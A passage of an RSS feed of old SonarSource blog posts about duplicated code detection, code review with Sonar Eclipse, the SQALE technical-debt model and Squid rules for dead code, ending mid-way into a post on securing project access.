But why does copy paste matters from a code quality point of view? How can you benefit from Sonar to improve this? Let’s try to figure this out.]]></description><link>https://www.sonarsource.com/blog/manage-duplicated-code-with-sonar</link><guid isPermaLink="false">5eedbbf0-8952-5c95-bc0f-a6a00bbcb2ca</guid><dc:creator><![CDATA[Evgeny Mandrikov]]></dc:creator><pubDate>Wed, 29 Feb 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you use Sonar already, I am sure that you know already the worse of all 7 developer&amp;#x27;s deadly sins:&lt;br/&gt;&lt;br/&gt;And if you don&amp;#x27;t, I would assume you know about duplicated / cloned / similar code when you talk about quality of code and that you have heard of tools such &lt;a href=&quot;http://pmd.sourceforge.net/cpd.html&quot;&gt;PMD CPD&lt;/a&gt; or &lt;a href=&quot;http://www.harukizaemon.com/simian/index.html&quot;&gt;Simian&lt;/a&gt;.&lt;br/&gt;&lt;br/&gt;But why does copy paste matters from a code quality point of view? How can you benefit from Sonar to improve this? Let’s try to figure this out.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What is duplicated code?&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s try to answer what sounds like a pretty simple question: what does &amp;quot;duplicated code&amp;quot; mean? Let&amp;#x27;s consider following four code fragments. They all will print 34, but are they duplicated?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int[] a = new int[10];
a[9] = 0;
a[8] = 1;
for (int i = 7; i &gt;= 0; i--) {
a[i] = a[i+2] + a[i+1];
}
System.out.println(a[0]);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;int f(int i) {
if (i == 0 || i == 1) return i;
return f(i - 2) + f(i - 1);
}
System.out.println(f(9));&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;int[] a = {34, 21, 13, 8, 5, 3, 2, 1, 1, 0};
System.out.println(a[0]);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;int[] b = {0, 1, 1, 2, 3, 5, 8, 13, 21, 34};
System.out.println(b[9]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Well, this is not entirely a fair question, because there is no agreement in the research community on the exact notion of duplication. Ira Baxter’s definition (2002) of clones expresses this vagueness:&lt;/p&gt;&lt;blockquote&gt;Clones are segments of code that are similar according to some definition of similarity.&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can rephrase this more formally:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Code fragment (code region / portion / segment) is any sequence of code. It can be of any granularity, e.g., function definition, begin-end block, sequence of statements or sequence of tokens.&lt;/li&gt;&lt;li&gt;A code fragment CF2 is a duplication of another code fragment CF1 if they are similar by some given definition of similarity, that is, f(CF1) = f(CF2) where f is the similarity function.&lt;/li&gt;&lt;li&gt;Two fragments that are similar to each other form a duplication pair (CF1, CF2) and when many fragments are similar, they form a duplication group.&lt;/li&gt;&lt;li&gt;We prefer term &amp;quot;duplicate&amp;quot; (&amp;quot;duplication&amp;quot;) over &amp;quot;clone&amp;quot;, because at least it doesn&amp;#x27;t clash with a name of clone method in Java.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;According to this definition, we still can have different notions of duplications depending on definition of similarity function. Moreover - human judgment of duplications is an issue and varies among experts. In one of experiments, for more than 60% of automatically detected duplications, three experts disagreed whether the fragments are really duplication or not. Even in SonarSource from time to time we have disputes about some code fragments. Let&amp;#x27;s make our life a bit simpler by using the following less formal definitions of a similarity function (in literature those definitions typically called types of duplications):&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Identical code fragments except for variations in whitespace (may be also variations in layout) and comments.&lt;/li&gt;&lt;li&gt;Structurally / syntactically identical fragments except for variations in identifiers, literals, types, layout and comments. The reserved words and the sentence structures are essentially the same.&lt;/li&gt;&lt;li&gt;As previous, but with further modifications - statements can be changed, added and / or deleted in addition to variations in identifiers, literals, types, layout and comments.&lt;/li&gt;&lt;li&gt;Code fragments that perform the same computation but implemented through different syntactic variants.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;You can try to use those definitions for given fragments by yourself to see difference ;)&lt;/p&gt;&lt;h2&gt;How is such code typically created?&lt;/h2&gt;&lt;p&gt;Here are some examples of why duplication occurs:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reusing existing code by copying and pasting (with or without minor modifications) is the simplest form of reuse mechanism in the development process, which results in duplicated code.&lt;/li&gt;&lt;li&gt;Code may be borrowed from another system, which may not be modified. In such situations, the only way of reusing the existing code is to copy and paste with required changes.&lt;/li&gt;&lt;li&gt;Generating code with a tool using generative programming may produce huge duplications because these tools often use the same template to generate the same or similar logic.&lt;/li&gt;&lt;li&gt;Sometimes programming languages do not have sufficient abstraction mechanisms, e.g., inheritance, generic types or parameter passing, thus developers forced to repeatedly implement these as idioms, which leads to small and frequent duplications.&lt;/li&gt;&lt;li&gt;Duplications may be introduced by accidents: side effect of developers memories; coincidentally implementing the same logic by different developers.&lt;/li&gt;&lt;li&gt;I really want to believe that this is not about readers of this blog, however sometimes productivity of a developer is measured by the number of lines produced per day. In such circumstances, developers focused on reuse of the same code again and again by copying and pasting, instead of following a proper development strategy.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Why you should pay attention on such code fragments?&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Propagation of bugs: if a code fragment contains a bug and this fragment is copied, then the bug will exist in all pasted fragments. More generally, duplicating code will also duplicate the associated &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Increased maintenance cost: any maintenance required on a copied code fragments will certainly need to be applied on the pasted ones, i.e. duplication multiplies the work to be done.&lt;/li&gt;&lt;li&gt;Increased time to understand and thus to improve/modify existing system if it contains a lot of duplications, because differences must be studied by developers before modifications.&lt;/li&gt;&lt;li&gt;As an indicator of a bad design, lack of good inheritance structure or abstraction.&lt;/li&gt;&lt;li&gt;As an indicator about copyright infringement.&lt;/li&gt;&lt;li&gt;Last, but not least - you can&amp;#x27;t manage what you don&amp;#x27;t measure.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In summary, this practice is evil !&lt;/p&gt;&lt;h2&gt;What can Sonar offer to you?&lt;/h2&gt;&lt;p&gt;Prior to version 2.11, Sonar was relying on PMD-CPD to detect duplicated code. PMD-CPD is a good tool with a great history which uses Karp-Rabin algorithm for list of tokens and is able to detect duplications of type 2 and partially type 3. But it also has some drawbacks:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It requires a lot of resources, especially on the memory side and thus is not hardly scalable on a large code base with millions of lines of code.&lt;/li&gt;&lt;li&gt;As a consequence of the previous point, the copy-paste detection is limited to boundaries of a single module / project.&lt;/li&gt;&lt;li&gt;Impossible to tune underlying algorithm to prevent false-positives and to increase precision.&lt;/li&gt;&lt;li&gt;No easy way to cover new languages without having a full lexer.&lt;/li&gt;&lt;li&gt;We observed that results may slightly vary depending on operating system where analysis was done.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Because of those drawbacks, we decided to implement our own library sonar-cpd to detect duplicated code. The first brick was created during Google Summer of Code 2011. And we should say a big thank you to the participants for their ideas, suggestions and efforts to help us. This first baby step already gave us a good feedback with &lt;a href=&quot;http://www.sonarsource.org/sonar-2-11-in-screenshots/&quot;&gt;Sonar 2.11&lt;/a&gt;:&lt;br/&gt;&lt;br/&gt;We noted comparable performances:&lt;br/&gt;&lt;br/&gt;We noted also lower memory peak :&lt;br/&gt;&lt;br/&gt;With sonar-cpd, results are more accurate, controlled and predictable. The detection is based on &amp;quot;statements&amp;quot; and therefore we are able to detect duplications of type 2 and partially of type 3 (maybe one day we will go further) and we can reduce amount of false-positives (like repeated blocks of import statements for example).&lt;br/&gt;&lt;br/&gt;And last but not least : because of the significant improvement in terms of performances, we are now providing the ability to detect cross-project duplications. This feature is for now only available for Java but this limitation will disappear in Sonar 2.14.&lt;br/&gt;&lt;br/&gt;In summary many more opportunities for abstracting and mutualizing code, how cool is this!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Effective Code Review with Sonar]]></title><description><![CDATA[At SonarSource, we like eating our own dog food as much as possible. This is not always the case in software development, but in our case since we develop software for software companies, we can do it. We therefore have an instance of Sonar that analyses all our products daily. ]]></description><link>https://www.sonarsource.com/blog/effective-code-review-with-sonar</link><guid isPermaLink="false">82a8d1cb-10f5-5cc8-ada7-5d38cbe9a309</guid><dc:creator><![CDATA[Fabrice Bellingard]]></dc:creator><pubDate>Thu, 20 Oct 2011 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Sonar, we like eating our own dog food as much as possible. This is not always the case in software development, but in our case since we develop software for software companies, we can do it. We therefore have an instance of Sonar that analyses all our products daily. We&amp;#x27;ve been using it for quite a long time to monitor code quality using features like alerts and &lt;a href=&quot;https://blog.sonarsource.com/effective-code-review-with-sonar/www.sonarsource.com/plugins/plugin-sqale/&quot;&gt;SQALE&lt;/a&gt; indicators (&lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;Technical debt&lt;/a&gt;). We have defined a &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/How+to+release+Sonar#HowtoreleaseSonar-Procedure&quot;&gt;quality gate&lt;/a&gt; for the ecosystem that is fairly simple: the SQALE index must be A, the technical debt must not increase between releases and there must not be blocker or critical violations.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This quality gate is good to have but not efficient enough because defects introduced during a sprint have to be fixed all at the end. Instead, they should be fixed as they appear for better efficiency, similarly to code fix when a unit test breaks in continuous integration: this is what we call &lt;a href=&quot;http://www.sonarsource.org/continuous-inspection-practice-emerges-with-sonar/&quot;&gt;continuous inspection&lt;/a&gt;. We have done a lot of work this year to be able to provide better support for Continuous Inspection in Sonar and have added several services : differential views, SCM information and manual reviews integrated with email notification and with Sonar Eclipse. Manual reviews is really the new hot feature to complements existing services and making code reviews more effective.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How does this all fit together ? Well, this is the subject of this post… Get your Sonar 2.11 started, open Eclipse along with Sonar Eclipse 2.1, and follow the guide!&lt;/p&gt;&lt;h2&gt;Develop, test, commit... and sleep well!&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e1a7c432-3d39-426e-a2af-8ded1c1a3ba3/body-98e56ba21b5c486ce715733775950fd7316aa825_efficientreviews-01.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Managing code quality is like handling non-regression: while developing, one should not worry about this - a process should do it and notify you in case of an issue. You know already that you can refactor your code serenely because a continuous integration server will check that you did not introduce a regression, don&amp;#x27;t you? Same applies when you improve a feature, the integration tests will make sure that you did not break anything, right? Similarly, you can feel comfortable when you think about quality of your code, Sonar will take care of it for you.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you wish, you can also use Sonar Eclipse during your development to run &lt;a href=&quot;http://www.sonarsource.org/sonar-eclipse-2-0/&quot;&gt;local analyses&lt;/a&gt; and get realtime feedback. This is not yet optimum since you can only run full analysis and we are working hard on supporting incremental analysis.&lt;/p&gt;&lt;h2&gt;Morning: code review time&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4796645c-8656-4754-a472-6f176ff9f7a7/body-578c5bc89dc4c5e861de4a3ed0d168ad6bf5a933_efficientreviews-02.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After a good sleep and a cup of coffee, the first thing you want to know is how well you coded the previous day : log into Sonar and activate the &lt;a href=&quot;http://www.sonarsource.org/differential-services-in-sonar-for-a-complete-support-of-continuous-inspection/&quot;&gt;&amp;quot;since previous analysis&amp;quot; differential views&lt;/a&gt; on your project: in a second, you see if new defects have been introduced. Those may identify - for instance - potential bugs, too complex classes or insufficiently tested methods. But whatever those violations are, you know that they increase the technical debt of your application. Fixing a violation is like fixing a bug: the sooner, the cheaper - as the context of the violation is fresh in your mind.&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/14c16395-945b-48b3-846a-a1ec99accf9c/body-a0b6ce3191ac6a5c4aa0d1e905959e5944368458_rulecompliancewidgetdifferentialviews.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To track the newly introduced violations, use the &lt;a href=&quot;http://www.sonarsource.org/differential-services-in-sonar-for-a-complete-support-of-continuous-inspection/&quot;&gt;differential violations drilldown&lt;/a&gt;. For every newly introduced violation - there shouldn&amp;#x27;t be too many as you become more and more familiar with quality rules, &lt;a href=&quot;http://www.sonarsource.org/sonar-2-8-in-screenshots/&quot;&gt;create a review&lt;/a&gt; and assign it (or - when appropriate, flag it as false positive). If your source configuration management tool is supported by Sonar, finding the developer who introduced the violation is even simpler as his identifier appears next to the violation (as long as you installed &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/SCM+Activity+Plugin&quot;&gt;Sonar SCM Activity plugin&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/080a2f66-a5ea-40fd-9d21-0c36d0cd3473/body-b1535d14ebbc369f435419086a25eef815facf04_creatingreview.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Though this process should only take a couple of minutes and will maximize the efficiency for reducing the technical debt, the ultimate objective is to provide a mechanism to notify the person who introduces a new violation.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Before developing again, clean your code&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bfadf315-143c-433c-8752-4a887f662d66/body-c1e5522f99b1ffa5c1ad8b4ef4494fb70aa7c8da_efficientreviews-03.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#x27;ve created all the reviews for the newly introduced violations, you can get back to your favorite IDE. But before starting coding, maybe you&amp;#x27;d like to fix defects that you introduced the day before, wouldn&amp;#x27;t you?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;If you&amp;#x27;re using Eclipse, you are lucky: Sonar Eclipse provides a very efficient way to work with reviews. Thanks to its Mylyn connector, &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Sonar+Eclipse#SonarEclipse-Reviews&quot;&gt;Sonar Eclipse brings all the reviews assigned to you right inside your task view in Eclipse&lt;/a&gt;. There too, in a second, you see all the reviews that you have to work on. Open a review, click on a link to open the corresponding file, fix the defect and resolve the review to &amp;quot;fixed&amp;quot; so that it doesn&amp;#x27;t show up in your task list any longer: this is that simple to fix a violation! And if it turns out that the fix is not obvious, you can start a thread of discussion on that review by adding a comment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/632f696f-b9b6-43ed-9253-cfbf6decd318/body-32ad0086283e5b28f78e81ce1519eb30acf87f65_sonareclipsereviewsintasklist.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are not using Eclipse, &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Notification&quot;&gt;you can still get notified when reviews are assigned to you&lt;/a&gt;. Just log into Sonar web application with your account and go to &amp;quot;My Profile&amp;quot; page to activate the email notification for reviews. This way, you won&amp;#x27;t miss a single review assigned to you! Actually, you should probably activate email notification in both cases: indeed, if you created a review and assigned it to someone else, you may want to know if the review has been solved, or if the developer added comments on it.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;And what about reviews that have been fixed?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/606db370-151f-4674-8ddb-cbdf629832e8/body-b6c9bc33d484a8cd1056685abd7b653853c49107_efficientreviews-04.png&quot; /&gt;&lt;p&gt;Sonar handles code quality for you, but it also makes sure that fixed reviews have correctly been handled. During the next analysis, for each fixed review, if its corresponding violation has actually disappeared, Sonar will set the review to &amp;quot;closed&amp;quot;. If not, Sonar will reopen the review: in the morning, you will then see it again in your task list (or receive a mail) with the &amp;quot;reopened&amp;quot; status.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;If you want to monitor more reviews - not only yours, you can use the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Manual+Reviews#ManualReviews-Searchforreviews&quot;&gt;Sonar review service&lt;/a&gt; that allows you to query reviews against their author, assignee, status, resolution, corresponding project or id.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b1852f2e-16f8-49d2-a381-5edc60ecd813/body-81cb90c0338beb860b6085d37c02b67e0dc33772_sonarreviewsservice.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That is it! This is how we are using differential views and manual reviews to run an effective continuous improvement process. Of course, you can adapt it - or even have a different one, to meet your needs. But keep in mind that the most important is to be sure that technical debt is under control!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;More features are coming to support Continuous Inspection further: create reviews on any code, filtering newly created violations by developer... Stay tuned!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Running local analysis with Sonar Eclipse 2.0]]></title><description><![CDATA[Have you tried Sonar Eclipse? If you're a fan of Sonar and you monitor the quality of your code daily, you probably already have installed this set of plugins that brings the power of Sonar right into your IDE. As a developer, I personally find it really useful to fix the violations directly in the code editor - while you can not do much about it when you're browsing the web resource viewer of Sonar.]]></description><link>https://www.sonarsource.com/blog/sonar-eclipse-2-0</link><guid isPermaLink="false">3715057c-4dc2-58f6-8c47-4acbedf24e26</guid><dc:creator><![CDATA[Fabrice Bellingard]]></dc:creator><pubDate>Wed, 13 Apr 2011 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running local analysis with Sonar Eclipse 2.0&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SQALE, the ultimate Quality Model to assess Technical Debt]]></title><description><![CDATA[Six months ago, we would never have believed that one day we would be happy and excited to write about the implementation of a Quality Model in Sonar. Indeed the Quality Models that we knew at the time (most of them are based on ISO 9126 standard) are complex, expensive to implement, can be understood only by an elite of quality experts and are not fun at all. ]]></description><link>https://www.sonarsource.com/blog/sqale-the-ultimate-quality-model-to-assess-technical-debt</link><guid isPermaLink="false">9388b618-66bb-52db-b6fe-f39331745d57</guid><dc:creator><![CDATA[Freddy Mallet]]></dc:creator><pubDate>Thu, 18 Nov 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: this post contains outdated information. Find &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;the latest on SonarQube here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Six months ago, we would never have believed that one day we would be happy and excited to write about the implementation of a Quality Model in Sonar. Indeed the Quality Models that we knew at the time (most of them are based on &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO/IEC_9126&quot;&gt;ISO 9126&lt;/a&gt; standard) are complex, expensive to implement, can be understood only by an elite of quality experts and are not fun at all. Displaying a global rating on an application is easy but insuring that this rating can be understood in less than 5 minutes by every stakeholder is much more difficult. Implementing one of those Quality Models in Sonar was a kind of non-sense, even if this feature was highly requested by big companies. Indeed they were in contradiction with the vision behind Sonar:&lt;/p&gt;&lt;blockquote&gt;Managing the source code quality should be simple, should be cheap, should be accessible by all stakeholders (developer, architect, project manager, top manager, ...), should be valuable and should be fun (without pleasure, perfection cannot be reached)!&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;Having said this, we knew that a piece was missing to the puzzle : the platform was widely adopted by teams on the ground but not by the top management. LCOM4, complexity by method, code coverage, undocumented API... are technical indicators that are not adapted to top manager&amp;#x27;s needs. Further more it was difficult for managers and developers to have a discussion on source code quality as they did not have a common domain-specific language. This is by definition what Quality Model should bring in the equation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;About 18 months ago, we made an implementation of &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Technical+Debt+Plugin&quot;&gt;a simple and empirical Quality Model&lt;/a&gt; based on the Technical Debt metaphor. The goal was to be able to assess the overall quality of an application, estimate the remediation cost to fix source code quality flaws and offer the missing common language between managers and developers. This &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Technical+Debt+Plugin&quot;&gt;Technical Debt plugin&lt;/a&gt; was an unconscious baby step toward the Quality Model world. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With &lt;a href=&quot;http://www.sqale.org&quot;&gt;SQALE&lt;/a&gt;, Sonar can now fully embrace the Quality Model world as SQALE is the leading-edge method to assess &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;Technical Debt&lt;/a&gt; while conforming to ISO 9126 standard. The method has been developed by DNV ITGS France and is licensed under the Creative Commons Attribution-NonCommercial-NoDerivs 3.0. You can have a look at the &lt;a href=&quot;http://www.sqale.org/download&quot;&gt;SQALE Method Definition&lt;/a&gt; document to get a good understanding of the methodology, but here are the main principles :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Quality means conformance to requirements, therefore those requirements should be first defined. They should be : atomic, unambiguous, non-redundant, justifiable, acceptable, implementable and verifiable. For example &amp;quot;each method should have a complexity lesser than 10&amp;quot;. Those requirements are called rules in Sonar.&lt;/li&gt;&lt;li&gt;The SQALE methodology assesses the distance to the requirements conformity by considering the necessary remediation cost to bring the source code to conformity. For instance, if the branch coverage of a source file is 60% whereas 65% is required for each file, the remediation cost will be effort to cover the missing number of branches to reach the required branch coverage threshold of 65%.&lt;/li&gt;&lt;li&gt;The SQALE Method adds up remediation costs to calculate quality indicators. Indeed when you have several debts, does it really make sense to average them ?&lt;/li&gt;&lt;li&gt;The SQALE Quality Model is orthogonal meaning that a quality flaw appears once and only once in the Quality Model.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;The hierarchical structure of the SQALE Quality Model conforms to ISO 9126, so you&amp;#x27;ll find characteristic, sub-characteristic and source code requirements. Let&amp;#x27;s take an example here : the source code requirement &amp;quot;Don&amp;#x27;t use &amp;#x27;enum&amp;#x27; as a java identifier&amp;quot; is by default part of &amp;quot;Language related portability&amp;quot; sub-characteristic which is itself by default part of the &amp;quot;Portability&amp;quot; characteristic which is part of the SQALE Index (total technical debt value). If there are 4 violations to this requirement and the unit cost to fix each requirement is 10 minutes, then the remediation cost to conform to this requirement is 40 minutes. And this remediation cost is aggregated at each level till assessing the overall SQALE Index. To get your overall technical debt ratio (SQALE Ratio), you then just have to divide your SQALE Index by the estimation effort to re-develop your application from scratch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarSource has released a &lt;a href=&quot;http://www.sonarsource.com/plugins/plugin-sqale/&quot;&gt;commercial SQALE plugin&lt;/a&gt; which is considered as &lt;a href=&quot;http://www.sqale.org/tools&quot;&gt;an official implementation of the SQALE method&lt;/a&gt;. The two following screenshots should quickly allow you to understand the benefits of this SQALE plugin. On any projects and whatever is the development language (JAVA, PHP, COBOL, C, ...) you will quickly know the total amount of your technical debt and breakdown this technical debt by characteristics, sub-characteristics and source code requirements. When the &lt;a href=&quot;http://www.sonarsource.com/plugins/plugin-sqale/overview/&quot;&gt;SQALE plugin&lt;/a&gt; is used with the &lt;a href=&quot;http://www.sonarsource.com/plugins/plugin-views/&quot;&gt;Views plugin&lt;/a&gt; you can even get this information at any organizational level : departement, service, team, ... :&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A top manager and a developer are now able to talk together about technical debt because there is no complexity in the data shown, only an addition of atomic costs with functionality to breakdown each level to sub-levels and to drilldown from the projects to the source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On &lt;a href=&quot;http://nemo.sonarsource.org&quot;&gt;Nemo&lt;/a&gt; (our public instance for open source projects), &lt;a href=&quot;http://nemo.sonarsource.org/plugins/resource/MASTER_PROJECT?page=com.sonarsource.sqale.ui.dashboard.SqaleDashboard&quot;&gt;the global technical debt (SQALE Index) is greater than 44,000 days&lt;/a&gt; for a total amount of 6 millions lines of code. 32% of this technical debt is due to a lack of branch coverage by unit tests.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Detect Dead Code and Calls to Deprecated Methods with Sonar Squid]]></title><description><![CDATA[Up to version 2.1, Sonar was relying only on external coding rules engines such as Checkstyle, PMD and Findbugs to report violations on Java applications. But since version 2.1, Sonar also provides its own rules engine to work on Java dependencies. This rules engine is based on Squid and three rules are currently available :]]></description><link>https://www.sonarsource.com/blog/detect-dead-code-and-calls-to-deprecated-methods-with-sonar-squid</link><guid isPermaLink="false">6a33db64-6ed7-5fb2-b88f-779f4436f66f</guid><dc:creator><![CDATA[Freddy Mallet]]></dc:creator><pubDate>Wed, 26 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Up to version 2.1, Sonar was relying only on external coding rules engines such as &lt;a href=&quot;http://checkstyle.sourceforge.net/&quot;&gt;Checkstyle&lt;/a&gt;, &lt;a href=&quot;http://pmd.sourceforge.net/&quot;&gt;PMD&lt;/a&gt; and &lt;a href=&quot;http://findbugs.sourceforge.net/&quot;&gt;Findbugs&lt;/a&gt; to report violations on Java applications. But since version 2.1, Sonar also provides its own rules engine to work on Java dependencies. This rules engine is based on Squid and three rules are currently available :&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;(sonar-squid-rule-engine)&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Squid provides an easy to use visitor pattern to be able to visit dependencies between methods, fields, classes and packages. This visitor pattern has been used in &lt;a href=&quot;http://www.sonarsource.org/sonar-2-0-in-screenshots/&quot;&gt;Sonar 2.0&lt;/a&gt; to calculate Object Oriented metrics like &lt;a href=&quot;http://www.sonarsource.org/clean-up-design-at-class-level-with-sonar/&quot;&gt;LCOM4&lt;/a&gt;, RFC, DIT, NOC, ... and has been reused in Sonar 2.1 to implement this new rules engine.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Here is a description of the three new rules :&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Use of deprecated method&lt;/strong&gt; : Once deprecated, a method should no longer be used as it means that the method might be removed one day; it might also mean its usage is inefficient or does not enable to benefit from certain features. Using a deprecated method is a sort of &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; that must be repaid earlier rather than later. The rule detects calls to deprecated methods not only inside but also outside the project. It means that you can track usage of deprecated methods on Java API or any other external libraries. Here is an example of violation : &lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Unused protected method or Unused private method&lt;/strong&gt; : Protected or private methods that are never used by any classes in the same project are strongly suspected to be dead code. Dead code means unnecessary, inoperative code that should be removed. This helps in maintenance by decreasing the maintained code size, making it easier to understand the program. Protected methods that override a method from a parent class are not considered as dead code as those methods are most often used through polymorphism.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;To support those new functionality, a new Open Source library called &lt;a href=&quot;http://svn.codehaus.org/sonar/trunk/sonar-check-api/&quot;&gt;sonar-check-api&lt;/a&gt; has been added in the Sonar toolbox. This library offers a mechanism to describe the rule : title, description, default priority, ISO category... For Checkstyle, PMD and Findbugs, an XML file is used to provide such description but this library allows use of java annotations to embed the description inside the rule. Here is an example of use with the new &amp;quot;Use of deprecated method&amp;quot; rule :&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Have fun with those three new rules while waiting for new ones like a rule to define the architecture layering :) &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Securing access to projects in Sonar]]></title><description><![CDATA[When used out-of-the-box, Sonar is a code quality radiator accessible by everyone at anytime. Like for JIRA, Hudson, a post-it dashboard or any other piece of the development toolset transparency is a key success factor for adoption. So, by default in Sonar, anyone can access any project under continuous inspection and navigate through it.]]></description><link>https://www.sonarsource.com/blog/securing-access-to-projects-in-sonar</link><guid isPermaLink="false">0dfacfe2-3988-5683-82ec-49a456fb763f</guid><dc:creator><![CDATA[Freddy Mallet]]></dc:creator><pubDate>Thu, 25 Feb 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: this post now contains outdated information. You can &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;find more information on SonarQube here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When used out-of-the-box, Sonar is a 